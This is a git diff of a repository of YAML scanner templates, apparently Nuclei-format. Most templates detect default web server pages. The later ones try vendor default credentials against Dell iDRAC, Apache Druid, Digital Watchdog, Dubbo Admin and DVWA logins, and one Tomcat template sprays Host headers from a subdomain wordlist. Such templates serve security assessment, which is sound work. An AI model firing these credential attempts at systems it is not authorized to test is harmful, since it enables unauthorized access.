detecting default installations of web applications using common phrases found in default install pages - tags: tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - - type: word - part: body - condition: or - words: - - "Default" - - "Welcome to" \ No newline at end of file diff --git a/poc/default/default-django-page-6841.yaml b/poc/default/default-django-page-6841.yaml deleted file mode 100644 index 69543a783e..0000000000 --- a/poc/default/default-django-page-6841.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: default-django-page - -info: - name: Django Default Page - author: dhiyaneshDk - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22The+install+worked+successfully%21+Congratulations%21%22 - tags: tech,django - -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "The install worked successfully! Congratulations!" - part: body diff --git a/poc/default/default-django-page-6842.yaml b/poc/default/default-django-page-6842.yaml index c471eebc93..474a3541a5 100644 --- a/poc/default/default-django-page-6842.yaml +++ b/poc/default/default-django-page-6842.yaml @@ -5,11 +5,10 @@ info: author: dhiyaneshDk severity: info metadata: - max-request: 1 shodan-query: http.title:"The install worked successfully! Congratulations!" tags: tech,django -http: +requests: - method: GET path: - '{{BaseURL}}' @@ -19,5 +18,3 @@ http: words: - "The install worked successfully! Congratulations!" part: body - -# digest: 4a0a00473045022100d8691337604d9ceebf998734906c8ff1cb8c8541377a7d21b71796c9ad1118340220626b095cab5aeeb6bb0e9e02a88bdfe1d7d2eae9684c262b9bac96aeb146b222:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-fastcgi-page-6844.yaml b/poc/default/default-fastcgi-page-6844.yaml index 6016850484..e88c4819e2 100644 --- a/poc/default/default-fastcgi-page-6844.yaml +++ b/poc/default/default-fastcgi-page-6844.yaml @@ -1,11 +1,12 @@ id: default-fastcgi-page + info: name: Fastcgi Default Test Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"FastCGI" tags: tech,fastcgi + reference: https://www.shodan.io/search?query=http.title%3A%22FastCGI%22 + requests: - method: GET path: diff --git a/poc/default/default-fastcgi-page-6845.yaml b/poc/default/default-fastcgi-page-6845.yaml index afc17463fe..6016850484 100644 --- a/poc/default/default-fastcgi-page-6845.yaml +++ b/poc/default/default-fastcgi-page-6845.yaml @@ -1,13 +1,11 @@ id: default-fastcgi-page - info: name: Fastcgi Default Test Page author: dhiyaneshDk severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22FastCGI%22 + metadata: + shodan-query: http.title:"FastCGI" tags: tech,fastcgi - requests: - method: GET path: diff --git a/poc/default/default-fedora-page-6848.yaml b/poc/default/default-fedora-page-6848.yaml index 7e2b986ddf..07ecac5017 100644 --- a/poc/default/default-fedora-page-6848.yaml +++ b/poc/default/default-fedora-page-6848.yaml @@ -4,15 +4,20 @@ info: name: Fedora Default Test Page author: dhiyaneshDk severity: info + metadata: + max-request: 1 + shodan-query: http.title:"Test Page for the HTTP Server on Fedora" tags: tech,fedora - reference: https://www.shodan.io/search?query=http.title%3A%22Test+Page+for+the+HTTP+Server+on+Fedora%22 -requests: +http: - method: GET path: - '{{BaseURL}}' + matchers: - type: word words: - 'Test Page for the HTTP Server on Fedora' part: body + +# digest: 490a0046304402200b6a1d0c3d7b5cb4af003fd8709013d9a477d6c455e55f82949e22cd2c5d12670220786bd0fe6b258195168e5d0cc0f358b5fa0d5cb3f2b2f66fff24f42ffcff4972:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-fedora-page.yaml b/poc/default/default-fedora-page.yaml deleted file mode 100644 index b8a2887c1d..0000000000 --- a/poc/default/default-fedora-page.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: default-fedora-page -info: - name: Fedora Default Test Page - author: dhiyaneshDk - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Test+Page+for+the+HTTP+Server+on+Fedora%22 - tags: tech,fedora -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - 'Test Page for the HTTP Server on Fedora' - part: body diff --git a/poc/default/default-glassfish-server-page-6854.yaml b/poc/default/default-glassfish-server-page-6854.yaml new file mode 100644 index 0000000000..9baccc7473 --- /dev/null +++ b/poc/default/default-glassfish-server-page-6854.yaml @@ -0,0 +1,20 @@ +id: default-glassfish-server-page + +info: + name: GlassFish Server Default Page + author: dhiyaneshDk + severity: info + metadata: + shodan-query: http.title:"GlassFish Server - Server Running" + tags: tech,glassfish + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers: + - type: word + words: + - "GlassFish Server - Server Running" + part: body diff --git a/poc/default/default-glassfish-server-page.yaml b/poc/default/default-glassfish-server-page.yaml index 889ea886b8..ab22927799 100644 --- a/poc/default/default-glassfish-server-page.yaml +++ b/poc/default/default-glassfish-server-page.yaml @@ -1,23 +1,17 @@ id: default-glassfish-server-page - info: name: GlassFish Server Default Page author: dhiyaneshDk severity: info metadata: - max-request: 1 shodan-query: http.title:"GlassFish Server - Server Running" tags: tech,glassfish - -http: +requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: - "GlassFish Server - Server Running" part: body - -# digest: 4b0a00483046022100b285d702aa78c8a5832e6beb67bec48fc5441e37ed640abc33a1000d933ae729022100f35be40545e34973183d97c7457b0c4e7793827d2e9ddb7dcb7680cd8c2ddb9f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-iis7-page.yaml b/poc/default/default-iis7-page.yaml deleted file mode 100644 index 74a98d0d05..0000000000 --- a/poc/default/default-iis7-page.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: default-iis7-page -info: - name: IIS-7 Default Page - author: dhiyaneshDk - severity: info - metadata: - shodan-query: http.title:"IIS7" - tags: tech,iis -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "IIS7" - part: body diff --git a/poc/default/default-jetty-page-6862.yaml b/poc/default/default-jetty-page-6862.yaml new file mode 100644 index 0000000000..40954ebd9c --- /dev/null +++ b/poc/default/default-jetty-page-6862.yaml @@ -0,0 +1,18 @@ +id: default-jetty-page + +info: + name: Jetty Default Page + author: dhiyaneshDk + severity: info + tags: tech,jetty + reference: https://www.shodan.io/search?query=http.title%3A%22Powered+By+Jetty%22 + +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers: + - type: word + words: + - "Powered By Jetty" + part: body diff --git a/poc/default/default-jetty-page-6863.yaml b/poc/default/default-jetty-page-6863.yaml index 40954ebd9c..14eb5e57a1 100644 --- a/poc/default/default-jetty-page-6863.yaml +++ b/poc/default/default-jetty-page-6863.yaml @@ -4,8 +4,9 @@ info: name: Jetty Default Page author: dhiyaneshDk severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22Powered+By+Jetty%22 tags: tech,jetty - reference: https://www.shodan.io/search?query=http.title%3A%22Powered+By+Jetty%22 requests: - method: GET diff --git a/poc/default/default-jetty-page.yaml b/poc/default/default-jetty-page.yaml new file mode 100644 index 0000000000..f32ce2f234 --- /dev/null +++ b/poc/default/default-jetty-page.yaml @@ -0,0 +1,17 @@ +id: default-jetty-page +info: + name: Jetty Default Page + author: dhiyaneshDk + severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22Powered+By+Jetty%22 + tags: tech,jetty +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers: + - type: word + words: + - "Powered By Jetty" + part: body diff --git a/poc/default/default-lucee-page-6870.yaml b/poc/default/default-lucee-page-6870.yaml deleted file mode 100644 index a50d5370bd..0000000000 --- a/poc/default/default-lucee-page-6870.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: default-lucee-page - -info: - name: Lucee Default Page - author: dhiyaneshDk - severity: info - metadata: - max-request: 1 - shodan-query: http.title:"Lucee" - tags: tech,lucee - -http: - - method: GET - path: - - '{{BaseURL}}' - - matchers: - - type: word - words: - - "Rapid web development with Lucee!" - part: body - - extractors: - - type: regex - part: body - group: 1 - regex: - - "Lucee ([0-9.\\-A-Z]+) on your system" - -# digest: 490a0046304402205ceff524523ea636e164f3d5808486762b592859804dee8ec6ce0031e934f1aa022077d688025f729871cb125a773b2e734c7d25f9181d4b36b2daf76fab94338527:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-microsoft-azure-page-6873.yaml b/poc/default/default-microsoft-azure-page-6873.yaml index 0188209aab..d67622cbf6 100644 --- a/poc/default/default-microsoft-azure-page-6873.yaml +++ b/poc/default/default-microsoft-azure-page-6873.yaml @@ -1,12 +1,11 @@ id: default-microsoft-azure-page - info: name: Microsoft Azure Default Page author: dhiyaneshDk severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22Microsoft+Azure+App+Service+-+Welcome%22 tags: tech,azure,microsoft - reference: https://www.shodan.io/search?query=http.title%3A%22Microsoft+Azure+App+Service+-+Welcome%22 - requests: - method: GET path: diff --git a/poc/default/default-microsoft-azure-page-6874.yaml b/poc/default/default-microsoft-azure-page-6874.yaml index 5bd7ea09d2..543e5f393e 100644 --- a/poc/default/default-microsoft-azure-page-6874.yaml +++ b/poc/default/default-microsoft-azure-page-6874.yaml @@ -1,11 +1,13 @@ id: default-microsoft-azure-page + info: name: Microsoft Azure Default Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Microsoft Azure App Service - Welcome" + reference: + - https://www.shodan.io/search?query=http.title%3A%22Microsoft+Azure+App+Service+-+Welcome%22 tags: tech,azure,microsoft + requests: - method: GET path: diff --git a/poc/default/default-movable-page-6878.yaml b/poc/default/default-movable-page-6878.yaml index ecd9e3e52e..51263b39af 100644 --- a/poc/default/default-movable-page-6878.yaml +++ b/poc/default/default-movable-page-6878.yaml @@ -5,15 +5,19 @@ info: author: dhiyaneshDk severity: info metadata: + max-request: 1 shodan-query: title:"Welcome to Movable Type" tags: tech,movable -requests: +http: - method: GET path: - '{{BaseURL}}' + matchers: - type: word words: - "Welcome to Movable Type" part: body + +# digest: 4b0a00483046022100dce4539ea14d9a69d39b78f6c8236ccb2e6f89e1184c1fb2867dfd4b122c5c6202210091b5b539aae4b7910ca212dc0df01b2aa695f91cb2c7bba7c3827c85ee27d41b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-movable-page-6879.yaml b/poc/default/default-movable-page-6879.yaml index 51263b39af..9009bf9781 100644 --- a/poc/default/default-movable-page-6879.yaml +++ b/poc/default/default-movable-page-6879.yaml @@ -4,20 +4,16 @@ info: name: Movable Default Page author: dhiyaneshDk severity: info - metadata: - max-request: 1 - shodan-query: title:"Welcome to Movable Type" tags: tech,movable + metadata: + shodan-query: 'title:"Welcome to Movable Type"' -http: +requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: - "Welcome to Movable Type" part: body - -# digest: 4b0a00483046022100dce4539ea14d9a69d39b78f6c8236ccb2e6f89e1184c1fb2867dfd4b122c5c6202210091b5b539aae4b7910ca212dc0df01b2aa695f91cb2c7bba7c3827c85ee27d41b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-nginx-page-6880.yaml b/poc/default/default-nginx-page-6880.yaml index 7d9d14f749..9c6cded178 100644 --- a/poc/default/default-nginx-page-6880.yaml +++ b/poc/default/default-nginx-page-6880.yaml @@ -1,11 +1,12 @@ id: default-nginx-page + info: name: Nginx Default Test Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Welcome to nginx!" tags: tech,nginx + reference: https://www.shodan.io/search?query=http.title%3A%22Welcome+to+nginx%21%22 + requests: - method: GET path: diff --git a/poc/default/default-nginx-page-6881.yaml b/poc/default/default-nginx-page-6881.yaml deleted file mode 100644 index e3fda60e36..0000000000 --- a/poc/default/default-nginx-page-6881.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: default-nginx-page - -info: - name: Nginx Default Test Page - author: dhiyaneshDk - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Welcome+to+nginx%21%22 - tags: tech,nginx - -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Welcome to nginx!" - part: body diff --git a/poc/default/default-openresty-6886.yaml b/poc/default/default-openresty-6886.yaml index 987668bb6e..401ac8779f 100644 --- a/poc/default/default-openresty-6886.yaml +++ b/poc/default/default-openresty-6886.yaml @@ -4,9 +4,8 @@ info: name: OpenResty Default Page author: dhiyaneshDk severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Welcome+to+OpenResty%21%22 - tags: tech,openresty + tags: tech,openrestry + reference: https://www.shodan.io/search?query=http.title%3A%22Welcome+to+OpenResty%21%22 requests: - method: GET diff --git a/poc/default/default-openresty.yaml b/poc/default/default-openresty.yaml deleted file mode 100644 index 401ac8779f..0000000000 --- a/poc/default/default-openresty.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: default-openresty - -info: - name: OpenResty Default Page - author: dhiyaneshDk - severity: info - tags: tech,openrestry - reference: https://www.shodan.io/search?query=http.title%3A%22Welcome+to+OpenResty%21%22 - -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Welcome to OpenResty!" - part: body diff --git a/poc/default/default-oracle-application-page-6891.yaml b/poc/default/default-oracle-application-page-6891.yaml new file mode 100644 index 0000000000..e96a481921 --- /dev/null +++ b/poc/default/default-oracle-application-page-6891.yaml @@ -0,0 +1,16 @@ +id: default-oracle-application-page +info: + name: Oracle Application Server Containers + author: dhiyaneshDk + severity: info + reference: https://www.shodan.io/search?query=http.title%3A%22Oracle+Application+Server+Containers%22 + tags: tech,oracle +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers: + - type: word + words: + - "Oracle Application Server Containers for J2EE 10g" + part: body diff --git a/poc/default/default-payara-server-page-6894.yaml b/poc/default/default-payara-server-page-6894.yaml index df15d841b4..8d5f2afd3a 100644 --- a/poc/default/default-payara-server-page-6894.yaml +++ b/poc/default/default-payara-server-page-6894.yaml @@ -4,15 +4,20 @@ info: name: Payara Server Default Page author: dhiyaneshDk severity: info + metadata: + max-request: 1 + shodan-query: http.title:"Payara Server - Server Running" tags: tech,payara - reference: https://www.shodan.io/search?query=http.title%3A%22Payara+Server+-+Server+Running%22 -requests: +http: - method: GET path: - '{{BaseURL}}' + matchers: - type: word words: - "Payara Server - Server Running" part: body + +# digest: 490a00463044022030e0025b825e09cf993dbb12d9d234cec3e0176fd7be502944868f91204daf5a02206543383c7d33d1be4fe6621cd8a9fbdf714057d2d784c4d5e9c05c01aa26e1ed:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-payara-server-page-6895.yaml b/poc/default/default-payara-server-page-6895.yaml index e6bf8b029c..90bdf3bcac 100644 --- a/poc/default/default-payara-server-page-6895.yaml +++ b/poc/default/default-payara-server-page-6895.yaml @@ -1,11 +1,13 @@ id: default-payara-server-page + info: name: Payara Server Default Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Payara Server - Server Running" + reference: + - https://www.shodan.io/search?query=http.title%3A%22Payara+Server+-+Server+Running%22 tags: tech,payara + requests: - method: GET path: diff --git a/poc/default/default-redhat-test-page-6902.yaml b/poc/default/default-redhat-test-page-6902.yaml new file mode 100644 index 0000000000..518c8f746f --- /dev/null +++ b/poc/default/default-redhat-test-page-6902.yaml @@ -0,0 +1,23 @@ +id: default-redhat-test-page + +info: + name: Red Hat Enterprise Linux Test Page + author: dhiyaneshDk + severity: info + metadata: + max-request: 1 + shodan-query: http.title:"Test Page for the Apache HTTP Server on Red Hat Enterprise Linux" + tags: tech,redhat + +http: + - method: GET + path: + - '{{BaseURL}}' + + matchers: + - type: word + words: + - "Test Page for the Apache HTTP Server on Red Hat Enterprise Linux" + part: body + +# digest: 4a0a0047304502200f10ec858e5a0347954ce4a1aed87801cc3cb17fa2446ad2a57f18b51344789b0221008347e4e3282fc734b53c8e559998af04e319cc89a9952e6479cabf9622008681:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-redhat-test-page-6903.yaml b/poc/default/default-redhat-test-page-6903.yaml index e208dfba44..ca4854a104 100644 --- a/poc/default/default-redhat-test-page-6903.yaml +++ b/poc/default/default-redhat-test-page-6903.yaml @@ -4,8 +4,9 @@ info: name: Red Hat Enterprise Linux Test Page author: dhiyaneshDk severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22Test+Page+for+the+Apache+HTTP+Server+on+Red+Hat+Enterprise+Linux%22 tags: tech,redhat - reference: https://www.shodan.io/search?query=http.title%3A%22Test+Page+for+the+Apache+HTTP+Server+on+Red+Hat+Enterprise+Linux%22 requests: - method: GET diff --git a/poc/default/default-ssltls-test-page-6908.yaml b/poc/default/default-ssltls-test-page-6908.yaml deleted file mode 100644 index 8b808b0f00..0000000000 --- a/poc/default/default-ssltls-test-page-6908.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: default-ssltls-test-page - -info: - name: SSL/TLS-aware Test Page - author: dhiyaneshDk - severity: info - metadata: - shodan-query: http.title:"Test Page for the SSL/TLS-aware Apache Installation on Web Site" - tags: tech,ssltls - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers: - - type: word - words: - - "Test Page for the SSL/TLS-aware Apache Installation on Web Site" - part: body diff --git a/poc/default/default-ssltls-test-page.yaml b/poc/default/default-ssltls-test-page.yaml deleted file mode 100644 index dfa7bc47bb..0000000000 --- a/poc/default/default-ssltls-test-page.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: default-ssltls-test-page -info: - name: SSL/TLS-aware Test Page - author: dhiyaneshDk - severity: info - metadata: - shodan-query: http.title:"Test Page for the SSL/TLS-aware Apache Installation on Web Site" - tags: tech,ssltls -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Test Page for the SSL/TLS-aware Apache Installation on Web Site" - part: body diff --git a/poc/default/default-tomcat-page-6910.yaml b/poc/default/default-tomcat-page-6910.yaml new file mode 100644 index 0000000000..132ac4f991 --- /dev/null +++ b/poc/default/default-tomcat-page-6910.yaml @@ -0,0 +1,28 @@ +id: default-tomcat-page + +info: + name: Tomcat Default Page + author: dhiyaneshDk + severity: info + tags: tech,tomcat + reference: https://www.shodan.io/search?query=http.title%3A%22Apache+Tomcat%22 + +requests: + - payloads: + Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt + attack: sniper + threads: 100 + + raw: + - | + GET / HTTP/1.1 + Host: {{Subdomains}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept-Encoding: gzip, deflate + Accept: */* + + matchers: + - type: word + words: + - "Apache Tomcat" + part: body \ No newline at end of file diff --git a/poc/default/default-tomcat-page-6911.yaml b/poc/default/default-tomcat-page-6911.yaml deleted file mode 100644 index a73de15ed3..0000000000 --- a/poc/default/default-tomcat-page-6911.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: default-tomcat-page - -info: - name: Tomcat Default Page - author: dhiyaneshDk - severity: info - tags: tech,tomcat - reference: https://www.shodan.io/search?query=http.title%3A%22Apache+Tomcat%22 - -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "<title>Apache Tomcat" - part: body diff --git a/poc/default/default-tomcat-page.yaml b/poc/default/default-tomcat-page.yaml index 132ac4f991..a73de15ed3 100644 --- a/poc/default/default-tomcat-page.yaml +++ b/poc/default/default-tomcat-page.yaml @@ -8,21 +8,11 @@ info: reference: https://www.shodan.io/search?query=http.title%3A%22Apache+Tomcat%22 requests: - - payloads: - Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt - attack: sniper - threads: 100 - - raw: - - | - GET / HTTP/1.1 - Host: {{Subdomains}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept-Encoding: gzip, deflate - Accept: */* - + - method: GET + path: + - '{{BaseURL}}' matchers: - type: word words: - "<title>Apache Tomcat" - part: body \ No newline at end of file + part: body diff --git a/poc/default/default-windows-server-page-6913.yaml b/poc/default/default-windows-server-page-6913.yaml index 507a7e23b1..01bc076291 100644 --- a/poc/default/default-windows-server-page-6913.yaml +++ b/poc/default/default-windows-server-page-6913.yaml @@ -4,20 +4,16 @@ info: name: IIS Windows Server Default Page author: dhiyaneshDk severity: info - metadata: - max-request: 1 - shodan-query: http.title:"IIS Windows Server" + reference: + - https://www.shodan.io/search?query=http.title%3A%22IIS+Windows+Server%22 tags: tech,windows,iis -http: +requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: - "<title>IIS Windows Server" part: body - -# digest: 4a0a0047304502205f5a3ebc04457be48e6870581f21363f659847cbe306fd2217e3e6a723da7fa4022100c16034e650054918571fec4854471d6c6356fce16d97665b64f9e3879fb7e242:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/default-windows-server-page-6914.yaml b/poc/default/default-windows-server-page-6914.yaml index f090d8cbb1..507a7e23b1 100644 --- a/poc/default/default-windows-server-page-6914.yaml +++ b/poc/default/default-windows-server-page-6914.yaml @@ -5,15 +5,19 @@ info: author: dhiyaneshDk severity: info metadata: + max-request: 1 shodan-query: http.title:"IIS Windows Server" tags: tech,windows,iis -requests: +http: - method: GET path: - '{{BaseURL}}' + matchers: - type: word words: - "IIS Windows Server" part: body + +# digest: 4a0a0047304502205f5a3ebc04457be48e6870581f21363f659847cbe306fd2217e3e6a723da7fa4022100c16034e650054918571fec4854471d6c6356fce16d97665b64f9e3879fb7e242:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/dell-idrac-default-login-6942.yaml b/poc/default/dell-idrac-default-login-6942.yaml deleted file mode 100644 index b0f88ff1cd..0000000000 --- a/poc/default/dell-idrac-default-login-6942.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: dell-idrac-default-login - -info: - name: Dell iDRAC6/7/8 Default Login - author: kophjager007 - severity: high - description: Dell iDRAC6/7/8 default login information was discovered. The default iDRAC username and password are widely known, and any user with access to the server could change the default password. - reference: - - https://securityforeveryone.com/tools/dell-idrac6-7-8-default-login-scanner - tags: dell,idrac,default-login - classification: - cwe-id: CWE-798 - -requests: - - raw: - - | - POST /data/login HTTP/1.1 - Host: {{Hostname}} - - user={{username}}&password={{password}} - - payloads: - username: - - root - password: - - calvin - attack: pitchfork - - headers: - Content-Type: "application/x-www-form-urlencode" - Referer: "{{BaseURL}}/login.html" - - cookie-reuse: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '0' - -# Enhanced by mp on 2022/03/03 diff --git a/poc/default/dell-idrac-default-login.yaml b/poc/default/dell-idrac-default-login-6945.yaml similarity index 100% rename from poc/default/dell-idrac-default-login.yaml rename to poc/default/dell-idrac-default-login-6945.yaml diff --git a/poc/default/dell-idrac9-default-login-6932.yaml b/poc/default/dell-idrac9-default-login-6932.yaml deleted file mode 100644 index 3dbaefb18e..0000000000 --- a/poc/default/dell-idrac9-default-login-6932.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: dell-idrac9-default-login -info: - name: DELL iDRAC9 Default Login - author: kophjager007,milo2012 - severity: high - description: DELL iDRAC9 default login information was discovered. The default iDRAC username and password are widely known, and any user with access to the server could change the default password. - reference: - - https://www.dell.com/support/kbdoc/en-us/000177787/how-to-change-the-default-login-password-of-the-idrac-9 - classification: - cwe-id: cwe-798 - tags: dell,idrac,default-login -requests: - - raw: - - | - POST /sysmgmt/2015/bmc/session HTTP/1.1 - Host: {{Hostname}} - User: "{{username}}" - Password: "{{password}}" - payloads: - username: - - root - password: - - calvin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 201 - - 200 - condition: or - - type: word - part: body - words: - - '"authResult":0' - -# Enhanced by mp on 2022/03/03 diff --git a/poc/default/dell-idrac9-default-login-6934.yaml b/poc/default/dell-idrac9-default-login-6934.yaml index 07b0bfe0d3..e3dd456e51 100644 --- a/poc/default/dell-idrac9-default-login-6934.yaml +++ b/poc/default/dell-idrac9-default-login-6934.yaml @@ -3,12 +3,7 @@ info: name: DELL iDRAC9 Default Login author: kophjager007,milo2012 severity: high - description: DELL iDRAC9 default login information was discovered. The default iDRAC username and password are widely known, and any user with access to the server could change the default password. - reference: - - https://www.dell.com/support/kbdoc/en-us/000177787/how-to-change-the-default-login-password-of-the-idrac-9 tags: dell,idrac,default-login - classification: - cwe-id: cwe-798 requests: - raw: - | @@ -33,5 +28,3 @@ requests: part: body words: - '"authResult":0' - -# Enhanced by mp on 2022/03/03 diff --git a/poc/default/digital-watchdog-default-login.yaml b/poc/default/digital-watchdog-default-login.yaml new file mode 100644 index 0000000000..d5ad80f909 --- /dev/null +++ b/poc/default/digital-watchdog-default-login.yaml @@ -0,0 +1,44 @@ +id: digital-watchdog-default-login + +info: + name: Digital Watchdog - Default Login + author: omranisecurity + severity: high + description: | + Digital Watchdog default login credentials were discovered. + reference: + - https://digitalwatchdog.happyfox.com/kb/article/686-recorder-and-raid-default-login-list/ + metadata: + verified: true + shodan-query: http.favicon.hash:868509217 + fofa-query: icon_hash="868509217" + tags: digital-watchdog,default-login,dw-Spectrum + +http: + - raw: + - | + POST /web/rest/v1/login/sessions HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"username":"{{user}}","password":"{{pass}}","setCookie":true} + + attack: clusterbomb + payloads: + user: + - admin + - dwuser + pass: + - admin + - admin1234 + - admin12345 + - Dw5pectrum + + matchers: + - type: dsl + dsl: + - 'contains_all(set_cookie, "x-runtime-guid=")' + - 'contains(body, "token\":")' + - 'status_code == 200' + condition: and +# digest: 4a0a0047304502200acef2ad5135fd4b7c240538331396ec3066b4d54b992ea622574bcea98ede8d022100ce29a2323d606b29f77387ad8742ee9602a8afda2a474d96f068dfa6b6c019a7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/druid-default-login-7096.yaml b/poc/default/druid-default-login-7096.yaml index 78d252b867..1a787c7ba6 100644 --- a/poc/default/druid-default-login-7096.yaml +++ b/poc/default/druid-default-login-7096.yaml @@ -1,11 +1,12 @@ id: druid-default-login - info: - name: Druid Default Login + name: Apache Druid Default Login author: pikpikcu severity: high + description: Apache Druid default login information (admin/admin) was discovered. + classification: + cwe-id: CWE-798 tags: druid,default-login - requests: - raw: - | @@ -13,27 +14,24 @@ requests: Host: {{Hostname}} loginUsername={{username}}&loginPassword={{password}} - - | POST /submitLogin HTTP/1.1 Host: {{Hostname}} loginUsername={{username}}&loginPassword={{password}} - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - - type: status status: - 200 - - type: regex regex: - - "^success$" \ No newline at end of file + - "^success$" + +# Enhanced by mp on 2022/03/03 diff --git a/poc/default/druid-default-login-7097.yaml b/poc/default/druid-default-login-7097.yaml deleted file mode 100644 index 09a1411cb8..0000000000 --- a/poc/default/druid-default-login-7097.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: druid-default-login -info: - name: Druid Default Login - author: pikpikcu - severity: high - tags: druid,default-login -requests: - - raw: - - | - POST /druid/submitLogin HTTP/1.1 - Host: {{Hostname}} - - loginUsername={{username}}&loginPassword={{password}} - - | - POST /submitLogin HTTP/1.1 - Host: {{Hostname}} - - loginUsername={{username}}&loginPassword={{password}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "^success$" diff --git a/poc/default/dubbo-admin-default-login-7121.yaml b/poc/default/dubbo-admin-default-login-7121.yaml new file mode 100644 index 0000000000..f5f6605a54 --- /dev/null +++ b/poc/default/dubbo-admin-default-login-7121.yaml @@ -0,0 +1,34 @@ +id: dubbo-admin-default-login +info: + name: Dubbo Admin Default Login + author: ritikchaddha + severity: high + reference: + - https://www.cnblogs.com/wishwzp/p/9438658.html + tags: dubbo,apache,default-login +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Authorization: Basic {{base64(username + ':' + password)}} + attack: pitchfork + payloads: + username: + - guest + - root + password: + - guest + - root + matchers-condition: and + matchers: + - type: word + words: + - "Dubbo Admin" + - "/sysinfo/versions" + - "{{username}}', '/logout')" + condition: and + - type: status + status: + - 200 diff --git a/poc/default/dubbo-admin-default-login-7120.yaml b/poc/default/dubbo-admin-default-login.yaml similarity index 100% rename from poc/default/dubbo-admin-default-login-7120.yaml rename to poc/default/dubbo-admin-default-login.yaml diff --git a/poc/default/dvwa-default-login-7128.yaml b/poc/default/dvwa-default-login-7128.yaml index 4008e442a2..5b405b8bd5 100644 --- a/poc/default/dvwa-default-login-7128.yaml +++ b/poc/default/dvwa-default-login-7128.yaml @@ -1,19 +1,10 @@ id: dvwa-default-login - info: name: DVWA Default Login author: pdteam severity: critical - description: Damn Vulnerable Web App (DVWA) is a test application for security professionals. The hard coded credentials are part of a security testing scenario. - reference: - - https://opensourcelibs.com/lib/dvwa - classification: - cwe-id: CWE-798 - metadata: - max-request: 2 tags: dvwa,default-login - -http: +requests: - raw: - | GET /login.php HTTP/1.1 @@ -27,15 +18,7 @@ http: Cookie: PHPSESSID={{session}}; security=low Connection: close - username={{username}}&password={{password}}&Login=Login&user_token={{token}} - - payloads: - username: - - admin - password: - - password - attack: pitchfork - + username=admin&password=password&Login=Login&user_token={{token}} extractors: - type: regex name: token @@ -44,17 +27,14 @@ http: part: body regex: - "hidden' name='user_token' value='([0-9a-z]+)'" - - type: kval name: session internal: true part: body kval: - PHPSESSID - host-redirects: true + redirects: true matchers: - type: word words: - "You have logged in as 'admin'" - -# digest: 490a00463044022045f5835991e9296cd7ed9bdca15bba2bb5a2c5f7f36071fa10441e2b91eddb5102205eb559de4798a34aa57c1816eef56160104d0ed92ce27f1a122ab3db664fddca:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/dvwa-default-login-7129.yaml b/poc/default/dvwa-default-login-7129.yaml deleted file mode 100644 index eb0669859d..0000000000 --- a/poc/default/dvwa-default-login-7129.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: dvwa-default-login -info: 